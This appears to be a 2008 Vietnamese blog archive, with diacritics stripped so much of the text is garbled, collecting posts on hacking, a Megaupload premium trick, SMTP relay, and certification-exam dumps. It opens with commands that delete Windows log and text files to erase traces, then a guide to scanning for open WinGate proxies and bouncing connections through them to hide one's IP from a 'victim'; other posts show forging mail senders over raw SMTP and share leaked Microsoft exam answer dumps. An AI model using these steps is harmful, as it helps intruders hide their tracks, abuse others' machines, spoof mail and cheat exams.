del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log ch cn del ht l coi nh xong ngoi ra nhng lnh trong ms dos cn rt nhiu.nh lnh ECHO ..FTPATTRIBm y tui khng th k ra ht c Wingate la g, va n lin quan g ti server acttack? WinGate l mt chng trnh n gin cho php bn chia cc kt ni ra. Th d: bn c th chia s 1 modem vi 2 my. WinGate dng vi nhiu proxy khch nhau c th che giu bn. 2.> Mc nh sau khi ci t Khi bn ci WinGate bnh thng, khng thay i thng s g th s c mt s mc nh: Quote Port | Service 23 Telnet Proxy Server - This is default and running right after install. 1080 SOCKS Server - This once setup via GateKeeper has no password until you set one. 6667 IRC Mapping - This once setup via GateKeeper has no password until you set one. 3. Port 23: Telnet Proxy Proxy s chy ngay sau khi bn hon thnh ci t v lm mi th tr nn ti t nu khng c mt m sau khi ci t v khng i hi bn l ngi duy nht. Nhiu qun tr h thng khng bit vic ny v cng khng ngh s t mt m cho n v y l ni xut hin trc trc. Telnet proxy cng tht s n gin. Bn telnet trn cng 23 trn my ch chy WinGate telnet proxy v bn s c du nhc WinGate> Ti du nhc ny bn nh vo server, mt khong trng v cng bn mun kt ni vo. Th d: Quote telnet wingate.net Connected to wingate.net WinGate> victim.com 23
Th d ny cho thy mt ai ang dng telnet vo WinGate server v sau t WinGate server telnet ti victim.com v vy trn log ca victim.com s hin ra IP ca wingate (wingate.net) v v vy c th gi IP ca mnh b mt. 4. Port 1080: SOCKS Proxy Socks proxy khng c ci t mc nh nhng ngay sau khi dng GateKeeper s ci t n. Vic ci t ny khng cn password, tr khi bn c t. Nu bn quen vi socks bn c th bit nhiu vic c th lm vi n. 5. Port 6667: IRC Proxy IRC proxy cng ging nh khi chng ta dng wingate telnet proxy bounce ti irc server tr khi irc proxy c thit lp n mt server. N khng c thit lp chy sau khi ci t nhng sau khi bn ci s khng cn password, tr khi bn c t. 6. Lm th no tm v s dng WinGate? Tm WinGates cng rt d lm. Nu bn mun tm IP WinGates tnh (IP khng i) th n yahoo hay mt trang tm kim cable modem. Tm kim cable modems v nhiu ngi dng cable modems c WinGate h c th chia s ng truyn rng ca n cable modems cho nhng my khc trong nh. Mt cng ty cable modem ln l Cox Cable. Trang web ca h c th tm thy www.home.com. The Cox Cable c IP trong khong 24.1.X.X. Bn c th dng Port hay Domain scanners v scan Port 1080, tn gi l SOCKS Proxy, y cng l mt cch n gin tm WinGate. Th d: 24.1.67.1 ch n c224084-a.frmt1.sfba.home.com m ti chng ta bit sfba = San Fransico Bay Area hay ci g gn nh vy. l cch tm IP WinGates tnh. tm IP ng (IP thay i mi ln user kt ni vo internet) ca WinGates cng khng kh cht nol. Hu ht tt c ISP ln v nh u c user dng WinGate. Bn cn phi bit nh dng ca ISPs dynamic ppp addresses hoc bn c th dng IRC (Internet Relay Chat). Gi s bn c ppp IP ca armory-us832.javanet.com. By gi bn dns IP v c 209.94.151.143. By gi ly IP v a n vo domain scanner program. Th d: Domscan c th tm thy ti Rhino9 web site (rhino9.abyss.com). Ok, by gi bn c domscan. Chy domscan v c mt box t IP v port scan. WinGate telnet proxy theo mc nh chy trn cng 23. V vt t 209.94.151.143 vo trong box u tin trong domscan v 23 trong box th 2, sau click vo start. Ta c c kt qu: 209.94.151.2 209.94.151.4
209.94.151.6 209.94.151.10 209.94.151.8 209.94.151.73 209.94.151.118 209.94.151.132 By gi kim tra tng ci tm WinGate prompt. lm vt ta intelnet ti 209.94.151.2 trn cng 23 v nu n hin WinGate> khi chng ta kt ni th n l WinGate. Nu khng chng ta lm tip a ch k tip c th l 209.94.151.4. Chng ta lm nh vy cho n ht danh sch IP. Ghi ch: Nu chng ta scan dynamic IP WinGates nu s cui cng ca IP cng ln th hy vng n l IP ca WinGate cng ln. Th d: C hi 209.94.151.132 l WinGate ln hn 209.94.151.2. Bi vit ch mang tnh cht tham kho http://roseandgun.wordpress.com/2008/04/25/cac-l%e1%bb%87nh-c %c6%a1-b%e1%ba%a3n-d%e1%bb%83-xam-nh%e1%ba%adp-may-tinh/ c ng bi haodalat ti 11:48 SA 0 nhn xet Nhan: Hacking
Hng dn to ti khon Premium megaupload Trong gi vng !
Khng phi gii thiu nhiu v trang Megaupload.com, n l trang qu ni ting v vic chia s file vi dung lng ln, d nhin s dng ti a bn phi b tin mua ti khon Premium. Vic mua ti khon ny i vi nhng ngi c vic lm l d dng, nhng i vi dn sinh vin, hc sinh, hoc ai cha tin mua l mt vic kh kh khn. c nhiu cch ti file ti megaupload vi dung lng ln , tc nhanh nh rapidleech, fake Ip .v.v. Nhng nhng cch ny t ra khng hiu qu cho lm. Cng may trong thi gian ny, trang megaupload c mt t khuyn mi, m t ngui bit, l s dng ti khon Premium trong Gi vng, Khung gi vng i vi Vit Nam l t 9h sng n 4h chiu. Bi s hng dn mt cch chi tit cch ng k ti khon Premium ti Megaupload.com Bc 1 : ng k mt ti khan free - Bn ng k ti link : http://www.megaupload.com/signup/ - Vo email kick hot ti khon. Bc 2 : Ti toolbar ca megaupload - Bn ti toolbar ti link : http://www.megaupload.com/toolbar2.0/toolbar.exe ( dung lng 1,145 mb ) bn c th dng chng trnh h tr download nh : Internet download manager, Flashget .v..v ti file nhanh hn - Sau khi ti xong, tin hnh ci t, reset li trnh duyt web. Thanh toolbar
ca megaupload hin ln trn trnh duyt web l bn thnh cng bc 2. Trn trnh duyt s xut hin ch Bc 3 : Fake Ip - Ti th vi IP Vit Nam . V thy khng ng k c. - Bn hy fake IP sang mt nc khc, US th cng tt, bn c th tm proxy hoc sock, prisock fake IP trn google. Bc 4 : Tin hnh ng k ti khan Rremium - Bn hy hon thnh cc bc trn th bc cui cng ny mi hiu lc . V y l bc quan trng nht. - Bn vo trang web http://megaupload.com/ v ng nhp vi ti khon free to bc 1 - Bn reset li trnh duyt, khi bn s thy dng ch Happy Hour Premium , bn hy kick vo . Trn trnh duyt s xut hin ch - Sau trang web hin mt thng bo ti khon ca bn tr thnh ti hon Premium Thng bo ca megaupload.com Trn trnh duyt s xut hin ch - By gi bn hy quay li trang ch v xem s khc bit vi lc u, bn s s dng y chc nng nh mt ti khan Premium :mrgreen: Ti khan ca bn y chc nng nh mt ti hon Premium Ti khan ca bn y chc nng nh mt ti hon Premium Bc 5 : Download v th thut, h tr - By gi bn tin hnh download bnh thng nh mt ti khan Premudium. - D nhin ti khon ny ch c trong thi gian t 9h am n 16h Vit Nam, mi ln bn s dng trong mt khong thi gian ti a t 1 ting n 3 ting, do hy tn dng khong thi gian ny download. nn tng hp cc link mega download cng lc - Bn c th dng trang Rapidleech tng kh nng ti file t megaupload.com. Nu cha c bn hy tm kim trn google, hoc t to trn host v homeserver ( mnh s vit bi trong thi gian sm nht c th ). + n vo link cn download bnh thng, n s hin nt Click here to download + kick chut phi vo Click here to download v chn Copy Link, hoc chn xung Properties copy ng link. Ly link ny gn vo trang Rapidleech ( trang rapidleech khng cn ng nhp ti khon Premium). Leech file v host Ch : - Bn ch c th s dng ti khon ny khi bn s dng toolbar v trong khong thi gian t 9h n 16h, thi gian s dng t 1 ting n 3 ting.
- Mong bn gp thm cho bi vit. - Nu c kh khn g trong qu trnh ng k ti khon, fake ip, rapidleech. xin lin h ti nick : anhchimuonnoi_yeuem1987. Mnh s gip bn. Have Fun Ngun : phamdoan87.com c ng bi haodalat ti 11:47 SA 0 nhn xet Nhan: MEGAUPLOAD
To danh thip trc tuyn vi DeyeY.com
Khng ai co th phu nhn tm quan trong cua tm danh thip, no ong vai tro nh mt ly lich trich ngang cua ban. Trong kinh doanh, trong cng vic va trong giao tip hang ngay, ban se cn nhiu n nhng tm danh thip. thit k va in cho minh nhng tm danh thip tht ep, ban co th nh n cac dich vu chuyn lam danh thip. Nu ban mun t minh tao ra nhng tm danh thip, th hin s sang tao cua ban thn nhng ng thi cung khng kem phn chuyn nghip, ban co th truy cp vao website www.deyey.com. y la mt dich vu web min phi cho phep ban tao va lu tr nhng tm danh thip ep mt ma khng phai thao tac gi nhiu cung nh oi hoi ban phai thanh thao cac chng trinh hoa. - t lam danh thip trn www.deyey.com, trc tin ban phai ng ki cho minh mt tai khoan bng cach nhn vao the Sign Up/Sign In trn trang chu. Mi ngi dung c cp 100MB lu tr va chia se danh thip cua minh, cua ban be va i tac. - Quay lai trang chu, nhn nut Design Now bt u thit k tm danh thip cua ban. Qua trinh nay chi qua bn bc n gian, ban chi vic chon hoc keo tha: chon anh nn, chen Logo (Deyey.com cho phep ban upload hinh anh ca nhn hoc Logo cua cng ty a vao danh thip), thm thng tin cua ban vao danh thip (Ho tn, tn cng ty, ia chi, email, in thoai, fax), lu lai va tai thanh phm v may. Danh thip do Deye.com tao se c xut ra inh dang JPEG, ban co th tai v va dan ln website, blog. Nu ban co nhu cu in ra thi nn chon cht lng va phn giai cao nht (Large CMYK). - Lu y, go ting Vit trong luc tao danh thip, ban phai chon bang ma la Vietnam locale CP 1258 va s dung cac font ch h tr tt ting Vit nh Arial, Times New Roman, Verdana. - Cui cung, M may in cua ban ln hoc em ra nhng dich vu in n. P.S: Minh khng them tao danh thip u vi cha bit phai ghi cai quai gi ln o. Dng Vi Phat
LBVMVT s 250 clip_image004 clip_image006 1 Bt u t bi vit ny, mi bi mi s dnh thm mt phn t nh ng ti nhng mu chuyn hoc bc nh vui v IT thay i khng kh y cng l li cm n v mi ngi dnh thi gian c qua bi vit nhm chn ca mnh. Tiu ca bc nh l: Your PassWord isnt Long Enough .*** Penis is *** :p c ng bi haodalat ti 11:39 SA 0 nhn xet Nhan: NameCard
26-04-2008
Mail & Relay
Bi vit sau mnh din t qu trnh gi mail n c ch nh th no. mail n c ch s thng qua 2 bc sau: B1 : Xc nh mt th gi l MX Record ca mail server ch ( ni cch khc l xc nh dns name v IP ca SMTP server ca domain ch ) B2 : server ngun kt ni vi server ch trn port 25. Dng SMTP command gi th. * Chi tit thc hin B1 : Xc nh thng s MX record, IP v DNS name ca server Run cmd - Lnh nslookup Set type=mx Yahoo.com ( g Tn domain ch y ) Kt qu ca 2 lnh trn chng ta s xc nh c MX record, IP v Name server ca domain ch. B2 : chng ta dng command gi message n server ch - Cc Lnh di y phi g chnh xc tn v khong trng. Nu g sai th khng c nhn nt li ri g li. G li n s khng thc thi. G sai nhn enter kt thc lnh, sau g li ng lnh . Cc lnh sau l cc lnh telnet v vy phi m chng trnh telnet v port i km c th thc hin lnh. Telnet Set localecho Open destIP 25 (thit lp kt ni n server ch)
220 ( return code ) : 220 l m xc nhn rng ta kt ni thnh cng ( Nu m tr v khc 220 ngha l tht bi -> g li lnh trn n khi no kt ni. Nu th nhiu ln m tht bi c ngha l port 25 b kha) Helo tndomainch 250 (gi tr tr v thnh cng : s khc l tht bi -> kt ni li lnh Helo ny tip n khi thnh cng) Mail from: 250 (code tr v) Rcpt to: vd : cuti@microsoft.com 250 Data (lnh ny c ngha l chng ta ni vi server ch rng chng ta bt u g ni dung ca th bao gm th gi cho ai, t ai gi n, ch th v ni dung bc th) 354 (code tr v) To : T (t l tn ngi nhn th) From : To (to l ngi gi th) Subject : Th ca Teo gi cho Ti y l ni dung bc th : Vd : E khe khng cu. Tri nng qu ra h con Ra bi i. . 250 (code tr v) - Ch : Gia subject v ni dung bc th phi c mt dng trng. Nu vit lin th n s hiu l subject ca bc th ch khng thuc v ni dung ca bc th. Du . cui bc th ni vi server ch rng : ni dung th ca ti cn gi kt thc ri. Khng c sai xt g thi hy tr v cho ti code 250 bo cho ti bit l th gi thnh cng. - Trong cc dng lnh trn c nhng thng tin i km khng i hi phi chnh xc 100%. V d : 1: Ni dung bc th ta c th ch bin 2: a ch email ngi gi l mnh ->mnh c th ba ra ci domain gi th no ch c v mc ch y ta ang ni vic gi mail ch khng nhn mail -> thng tin trn khng quan trng. y l l do ti sao m mng ni b hay ngi ngoi phng net ta c th gi cho a ch mail yahoo, gmail ca mnh. Yahoo mail s kim tra Ipwan ca bc th. Nu IP ny khng nm trong blacklist n s cho vo bulk (iu ny l hin nhin IP ng m l). Cn nu nm trong b lc ca n hoc trong blacklist n s drop bc th. - Vi cc bc trn l chng ta c th gi th c ri. Nhng khng l chng ta bt ngi dng phi nh tng y th gi mt bc th. Ci h cn l mt cng c tch hp sn cc lnh trn, i km l mt giao din sng sa v p mt h son th v gi d dng ch bng cch nhn nt SEND. Cng c chnh l cc trnh duyt mail (Outlookup Express, Microsoft Outlook ). Mnh
s/d OE minh ha. Bt OE : + Menu tool account tab mail nt add chn mail Display name : Tn ny chng ta c th ba ty v d : Teo next Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Email address : a ch email ca ngi gi (nh ni trn bn mun g g cng c) Vd: cuteo@tenmienbia.com next Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Hp thoi Email server name xut hin 2 thnh phn Incoming mail v outgoing mail : 2 thnh phn ny c ngha g ? Trong 1 server mail vy l s tn ti 2 server lun l : 1/ Incoming Mail Server (POP3, IMAP4, HTTP server): - Nhim v l i n : iu phi mail trong Lan. Cc user khi m trnh duyt mail th trnh duyt mail ny s i check mail trong incoming mail server . Ni cch khc l pop3 trc trc bn s khng check c mail. IMAP4, HTTP t ngi dng v Khng c h tr bng POP3 (s/d port 110 v 995) 2/ Outgoing Mail Server (SMTP ) - Nhim v l i ngoi : Gi v nhn mail vi domain bn ngoi -> nu SMTP (port:25) trc trc th bn s khng th nhn cng nh gi th ra domain bn ngoi Incoming mail : y chng ta khng quan tm n vic nhn mail nn g IP g cng c. Nu y bn khai bo mt s IP ba no th khi bn bt OE ln th OE lp tc i tm POP3 server (tc l IP bn khai phn Incoming mail) check mail. Khi bt OE ln ch gc di bn tri c t connect - nhp vo n chn stop v y l con s IP ba nn n khng c hiu lc, n connect mt hi bo khng tm thy -> phi cancel thi) Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Outgoing Mail : g a ch IP ca yahoo.com 66.218.71.63 (ang gi nh gi cho yahoo) Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc
vi kch thc l 800x600 c IP ca yahoo ngi dng phi thc hin nh B1: phn gii c IP, mx record, name server. -> Next Hp thoi internet mail logon : Thng tin y chnh l thng tin cn check mail next lun finish. Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 - Nhn nt create mail gi th bng giao din ha ging webmail. - Hnh bn di m t 2 bc thc hin gi mail n dest server. Gi trc tip t User v Mail browser n dest Server khng thng qua trung gian. Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 1024x768 - User vn cha va lng vi cc bc hng dn trn. V mi ln gi n 1 Dest Server khc th User phi cu hnh li 2 bc vi IP khc trong Outgoing mail . Phc tp qu. H mun rng ch phi nh 1 con s IP no thi (con s ny phi c nh). Lc ny ta phi xy dng 1 ch SMTP server1 trung gian mi user gi th n. Sau SMTP Server ny s chuyn th ca mi user n Dest server Qu trnh m Mail Browser gi th n SMTP Server 1 v nh gi i n Dest Server gi l RELAY (hay Relay mail) Cn nhng server m nhn v gi mail dm cho mi user, d user trong cng domain hay ngoi domain, d xa l hay quen bit th Server c gi l OPEN RELAY (c ngha l relay mi th gi n khng cn bit i tng nh gi l ai). Trng thi Open Relay qu nguy him. Vi nm trc y c th search ra c cc server Open Relay. Cn hin ti mi mail server u kha tnh nng ny li. Ch khi no cn th nghim vn g hoc cho php 1 s IP nht nh c php relay qua server th mi bt ln. Trn din n X_boy v NN c cho mn account relay trong vi ngy test v vc mail server. Khng thng mi. http://nhatnghe.com/forum/showthread.php?t=12556 Cu hnh relay trong OE : Cc bc ging nh trn. Ring phn Outgoing mail ta g IP ca SMTP Server1.. Finish. Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc
vi kch thc l 800x600 Sau gi mail ra yahoo. Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Bn nhn thng bo li : trong m rng c mt t kha unable to relay for dangduya147@yahoo.com. Nh ni trn mail server kha chc nng open relay. Server mail ni rng anh mun relay mail qua ti : t ra anh phi chng minh c anh c h hng b con vi ti. Cn khng : qun i cng. Ni cho d hiu th l nh vy: Bn c cu em tn To. Lc b th n rt kh, ai sai g n cng lm. Bn nh n gi dm th OK gi th gi. Anh hng xm thy n kh qu nn li dng sai n lm vic Ok lm th lm (Lc ny Cu To ang tnh trng OPEN RELAY ai sai nh g n cng lm m l). Ln ln n bt u khn ra, anh hng xm nh n lm OK c thi nhng lc ny n yu cu anh ta phi chng minh rng anh c quan h b con vi n trc . Chng mnh bng cch no : n bt hng xm lit k ra mt ng thng tin i loi : anh phi sng chung nh, phi c cng h . Tt nhin l anh ta k th chng minh hoc chng minh khng chnh xc. N Drop ci yu cu ca anh ngay lp tc. n phin bn nh n. N gi chiu c bt bn cung cp thng tin ( phng lun vi ngi nh qu chc n. Tt) -> th l bn khai vi n cc thng tin + Khai bo thng tin h hng b con vi server trong OE: Menu tool account tab mail chn account chn properties tab general :bt u khai bo y. 1/ Sa li email address ging domain server VD : ca mnh phi sa li l cuteo@dda147.com thay cho cuteo@tenmienbia.com (domain ca mnh l dda147.com) Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 2/ Tab server : check vo My server require authentication Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Chn nt setting k bn, khai bo ti khon v pass tn ti trong domain (tt nhin chung nh l phi c thng tin ny).
Hnh nh ny c thay i kch thc. Click vo y xem hnh nh gc vi kch thc l 800x600 Sau khi khai bo xong thng tin bn quay li OE bn nhn nt send all trong nt SendReceive . Th i ngon lnh. Vy l xong v relay qua SMTP server1. + Lc ny pht sinh thm mt tnh hung mi. Mt ngy p tri cc user thng bo vi bn rng sao mail ca ti khng th gi cho yahoo. Ch sau vi pht th nghim bn thy ng l khng th gi mail cho yahoo. Gi th mail cho gmail, hotmail Bt cng c theo di mail ln th thy mail gi i ngt st, khng gp bt k trc trc no (cng ty mi mua IP tnh chi lease line cc k honh trng m l). Gi in cho my thng bn hi thm tnh hnh th ti n bo khng c trc trc g c. Sao ch c mt mnh mnh dnh chng. Th l ln mng lc tung cc din n mi pht hin ra v IP blacklist. Kim tra th IP ang nm trong s en ca cc t chc spam -> hn g thng yahoo n chn mail li (thng yahoo ny c trong tay danh sch IP balcklist). Lin h vi t chc ny th h remove IP. Th pho nh nhm v user thng bo l h gi c ri. Qua vi ngy sau n lt gmail drop mail user ca bn. Ln NN hi thm ngi th c TonyHien cho bit : IP ca vietnam ton ci bp -> d dng b lt vo t chc chng spam. TonyHien khuyn nn relay mail qua mt SMTP server2 c uy tn (tt nht l ca nc ngoi) n chuyn i dm cho (tt nhin l tn ph cho n ty s lng mail Relay hng thng). Vi hnh v trn bn cu hnh relay mail t SMTP SERVER 1 (mail server cng ty bn) qua SMTP server 2 (nh n relay mail dm). Lc ny SMTP server 1 tr thnh RELAYER (tc ngi chuyn tip relay mail). Cn SMTP server2 by gii l SMART HOST (cung cp tnh nng relay mail cho nhng domain c nhu cu). Khi nim v Relay mail coi nh gii quyt xong. http://www.nhatnghe.com/forum/showthread.php?t=18914 c ng bi haodalat ti 9:26 CH 0 nhn xet Nhan: co ban ve Mang may tinh, MCSA, NETWORK
Mail & Relay
c ng bi haodalat ti 9:26 CH 0 nhn xet
23-04-2008
70-298 Materials To Score 1000
Passed 70-350 with 1000/1000, "ALHAMDULILLAH" Materials: I used ONLY Microsoft.TestKing.70-298.errata.by.sTf.vce U can download from here: http://www.ziddu.com/download.php?
uid=Zq...iYq6WlZWp2 Corrections: 1. South Bridge Video (9 questions). If you use Microsoft.TestKing.70298.errata.by.sTf.vce, the Q1 about audit strategy, you must choose the D (Audit Logon Event ), not A ( Audit Account Logon). The other Questions are correct http://www.certcollection.co.cc/forum/-offer-70-298-Materials-To-Score-1000t-734.html http://www.certcollection.co.cc/forum/My-MCSE-Journey-t-772.html c ng bi haodalat ti 10:42 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
Passed 70-350 with 1000/1000, "ALHAMDULILLAH" I Used Only Pass4sure from following links: P4S engine v.2.15: http://www.ziddu.com/download.php? uid=bq...pZqugmZus9 ePad Printable v.2.15: http://www.ziddu.com/download.php? uid=ZK...pXqugl5es1 Corrections: Q75 the answer is B,D not only B. Q99 Select IP half scan. http://www.certcollection.co.cc/forum/-offer-70-350-Materials-To-Score-1000t-733.html c ng bi haodalat ti 10:41 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
I Passed 70-294 with 1000/1000, "ALHAMDULILLAH" I Used Only the following: GrandMaster's vce 294 : http://www.ziddu.com/download.php? uid=aK...aeZnZY%3D4 Printable Testinside 294 : http://www.ziddu.com/download.php? uid=aq...qeZnZw%3D5 Q&A: GrandMaster Needs no corrections and is more than enough to score 1000. U can use Testinside if u prefer hardcopies, but MUST compare it to grandmaster and find errors and changes (cuz there are few)
Sims: Grandmasters sims are incomplete. For sims use only testinside Q 91,92,93 Some Tips For Sims: Q91 when i read this one i was a little confused so i will explain it for those who may need it. this is a simple sim all what u need to do is to put every server and subnet in its right site. to do that u go to Active Directory Sites and Services. expand sites then expand each site (east, main, west) right click each server, select move, and select its right site. same to subnets, after expanding the subnets right click each one, select properties, and select its right site. and ur done. what may make some confusion is: 1- Before the step of configuring the subnet 10.10.7.0/24 there isn't any note to tell that he started a new step with a new subnet. 2- Some Servers and subnets are never mentioned in any step like server2 and the reason is that it is already in its site and there is no need to move it. Q92 In step one He edit's GPO1 without explaining the reason and why not GPO2,3 or 4. the reason is the questions states"For only the users in the sales department" and after checking all GPOs we find that GPO1 is the one linked to sales users not computers i dont know if checking other GPOs makes difference in the score but thats what I did. Nothing to say about Q93 i think its very clear and complete. http://www.certcollection.co.cc/forum/-offer-70-294-Materials-To-Score-1000t-732.html c ng bi haodalat ti 10:40 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
I Passed 70-293 with 950/1000, "ALHAMDULILLAH" few months ago. Materials: P4S v2.73: http://www.ziddu.com/download.php?uid=bb...aqdlp0%3D8 Sadiqsaad Sims: http://www.ziddu.com/download.php?uid=aa...iZK6WlZWp4 Corrections: Q1 - is c. No need to add a second cluster ip.
Q10 - is (click on print server, not DHCP Server). You would install a RRAS on the Print server and add a DHCP relay agent to find the DHCP on the other subnet. Q50 - is a. Makes sense to install 2k3 dns server in *each office* to use both wins and dns since you have multiple new and legacy desktop OS's. http://www.certcollection.co.cc/forum/-offer-70-293-Materials-To-Score-1000t-735.html c ng bi haodalat ti 10:39 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
Passed 70-291 with 970/1000, "ALHAMDULILLAH" few months ago. Materials: Evilren's pdf: http://www.ziddu.com/download.php?uid=aa...6eam5w%3D8 Evilren's vce: http://www.ziddu.com/download.php?uid=ab...oZauflpio8 MXSim: http://www.ziddu.com/download.php?uid=aK...iYq2WlZqt2 All u need for 70-291 is Evilrens vce from link above And corrections. Sims needed are only three wich are included in the same vce. One of the sims is made on a video in the link above. Corrections: 1. The question about DNS. One main office and 4 sites. 2 locations connected with high speed links and 2 with low speed. The question stated that even the sites connected with low speed should get zone updates, since the main office was planning changes to NS records. So choose the Stub Zone for the sites connected with low speed links. 2. Question No. 108 WSUS on perimeter network have to "Save the updates to a local folder" not Maintain Updates on Windows Update Server (Server on the Perimeter Network) 3. Question No. 107 EvilRen - (User Settings Section) is wrong. should be (Computer Settings Section) as in p4s 4.RRAS sim correction ===================================== Routing and Remote Access Simulation: Make sure when you create an
Inbound Filter that you also choose the option to "Receive all packets accept those that meet the criteria below" because it automatically defaults to "Drop all packets accept those that meet the criteria below". Note: Be careful when choosing the network interface on static routing in RRAS simulation, Question states: * Add a static route for the 192,168.3.0/24 to be getaway for 192.168.4.245? Chose the Local Are Network 2 that belongs to the same network as getaway requested by a question, not a Local Are Network. Last Exam Taker: tonnyy Wrote: 04-22-2008 11:25 PM Just pass 291 exam today 984/1000 The correct answer for questions about DNS, the site that have low speed should get Conditional Forwarding instead of Stub Zone. The question mentioned "Prevent Zone Replication traffic from occuring on the slow network connections" bkhorn Wrote: 04-22-2008 04:44 AM I just passed this test this morning with a 1000/1000. In my opinion the corrections are wrong. Brad http://www.certcollection.co.cc/forum/-offer-70-291-Materials-To-Score-1000t-719.html c ng bi haodalat ti 10:37 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
This Is all what It took me to pass with 1000 marks Wink Venoms VCE: http://www.ziddu.com/download.php?uid=a7...iZa2WlZun5 TestInside pdf: http://www.ziddu.com/download.php?uid=Z7...pYauZmJao4 DrZ Sims: http://www.ziddu.com/download.php?uid=bL...a2hm5U%3D5 -Every single word is from TestInside_70-290_2007-04-12 from the link
above. -Sims 1,3,5,7, q#105 testinside With the following corrections - Sim 7: you Need to edit share and security permissions on HR folder and set HRgroup to only have read checked on both. - Q#99 from testinside should be normal from Friday + Incrementals or just normal from Wednesday. Quick advice by John MacLane: read the questions carefully, and don't rush at the drag and drop stuff. U may get a daily backup" on Wednesday, not "normal" backup , which indeed changes the answer Friday's normal + Incrementals .. thanks john -Q#105 from testinside step 4) set the Barbra Decker,Luis Bonifaz,Eva Corets's Profile->Profile Path \\SERVER1\USERS\%username% same with the Amy Rusko, Not only \\SERVER\\USERS and U can select all users at once and right click -> properties ->Profile Path \\SERVER1\USERS\%username% Thats the way I did it and dont know if it makes any difference. Some additional small tips for sims: - In DrZ sims there r some steps that does nothing but arent considered wrong such as: a- in Sim#1 when adding a new user he clicks locations and it does nothing ,u dont have to do that b- in Sim#5 he opens properties of amy rusko account, takes a look , and closes it. this is not needed (This one may be needed in real life but wont effect ur score in exam) - another thing that confused me a little bit in the exam is in DrZ sims when he searches for a group or a user and clicks check names u can see the user or group name change to the right capitalization form and underlined which never appeared for me in the exam when I click check names nothing changes i was confused and added it anyway so I tried to add a wrong name just to be sure and it refused adding the wrong name. - My last tip is i used the reset button maaaany times in the sims question i
dont know if it makes any difference but i didnt want to make any extra click so when i was sure of what i did i reset the sim and make it all again and Done. http://www.certcollection.co.cc/forum/-offer-70-290-Materials-To-Score-1000t-718.html http://www.certcollection.co.cc/forum/My-MCSE-Journey-t-772.html c ng bi haodalat ti 10:35 CH 0 nhn xet Nhan: MCSA, Pass4Sure, Pre Exam
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c ly EBook MOC hc MCSA/SE u ? TK cho 350-001 Ti liu CCSP, CCNP, CCVP... Here the All-In-One-Package for successfull CCNA 640-801 CCNA full v 3.1.1 CCNP ver moi nhat tu CISCO SYSTEM ACADEMY TK 640-801 v102 Networkcert cung cp IT Video training ti VN Network Ebooks sch v Cng ngh METRO Sch CCIE [direct] Cc biu tng Cisco icons dng v s mng BCMSN Documents B ti liu t hc Tai lieu tu hoc MCSA/MCSE Xin phn mm Cisco Secure IDS Ai c soft ny cho mnh xin! phn mm luyn thi CCNA, m bo 100% u.... Sch ebook min ph n --> gogo gip cho em 1 pht no!!! Cisco Documentation Download Pass 4 sure ? Ti liu hc cu hnh trong CCNA (tuyt vi) Ti liu ting Anh: 100 cu hi v tr li v SSL VPN Cisco 640-801 Q & A (Tets.King) Bc no c crack ca Boson for CCNP, cho em vi Tm sch Sybex MCSA/MCSE Windows server 2003 Environment Management and Maintenance Chng trnh gi lp lab hay hn c Bonson??? Website cung cap links IT ebooks ! New TI LIU HAY v ST NHT V VPN Ti liu ISP ! Wireless ebook Tm ********* version mi nht Phn mm gip xy dng ti liu cho h thng mng dynagen-0.7.0 Soft config....? http://vnpro.org/forum/forumdisplay.php?f=25 c ng bi haodalat ti 2:22 CH 0 nhn xet Nhan: MCSA, password, Pre Exam
22-04-2008
Tt c Pass4sure -examworx, MEGA Collection, ... PDF mi nht

Tt c Pass4sure -examworx, MEGA Collection, ... PDF mi nht
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www.freepreptest.com/examworx/70-086ePad.exe www.freepreptest.com/examworx/70-089.exe www.freepreptest.com/examworx/70-089ePad.exe www.freepreptest.com/examworx/70-121.exe www.freepreptest.com/examworx/70-121ePad.exe www.freepreptest.com/examworx/70-122.exe www.freepreptest.com/examworx/70-122ePad.exe www.freepreptest.com/examworx/70-123.exe www.freepreptest.com/examworx/70-123ePad.exe www.freepreptest.com/examworx/70-21.exe www.freepreptest.com/examworx/70-210.exe www.freepreptest.com/examworx/70-210ePad.exe www.freepreptest.com/examworx/70-214.exe www.freepreptest.com/examworx/70-214ePad.exe www.freepreptest.com/examworx/70-215.exe www.freepreptest.com/examworx/70-2155.exe www.freepreptest.com/examworx/70-2155ePad.exe www.freepreptest.com/examworx/70-215ePad.exe www.freepreptest.com/examworx/70-216.exe www.freepreptest.com/examworx/70-216ePad.exe www.freepreptest.com/examworx/70-217.exe www.freepreptest.com/examworx/70-217ePad.exe www.freepreptest.com/examworx/70-218.exe www.freepreptest.com/examworx/70-218ePad.exe www.freepreptest.com/examworx/70-219.exe www.freepreptest.com/examworx/70-219ePad.exe www.freepreptest.com/examworx/70-21ePad.exe www.freepreptest.com/examworx/70-220.exe www.freepreptest.com/examworx/70-220ePad.exe www.freepreptest.com/examworx/70-221.exe www.freepreptest.com/examworx/70-221ePad.exe www.freepreptest.com/examworx/70-223.exe www.freepreptest.com/examworx/70-223ePad.exe www.freepreptest.com/examworx/70-224.exe www.freepreptest.com/examworx/70-224ePad.exe www.freepreptest.com/examworx/70-227.exe www.freepreptest.com/examworx/70-227ePad.exe www.freepreptest.com/examworx/70-228.exe www.freepreptest.com/examworx/70-228ePad.exe www.freepreptest.com/examworx/70-229.exe www.freepreptest.com/examworx/70-229ePad.exe www.freepreptest.com/examworx/70-232.exe www.freepreptest.com/examworx/70-232ePad.exe www.freepreptest.com/examworx/70-234.exe www.freepreptest.com/examworx/70-234ePad.exe www.freepreptest.com/examworx/70-235.exe
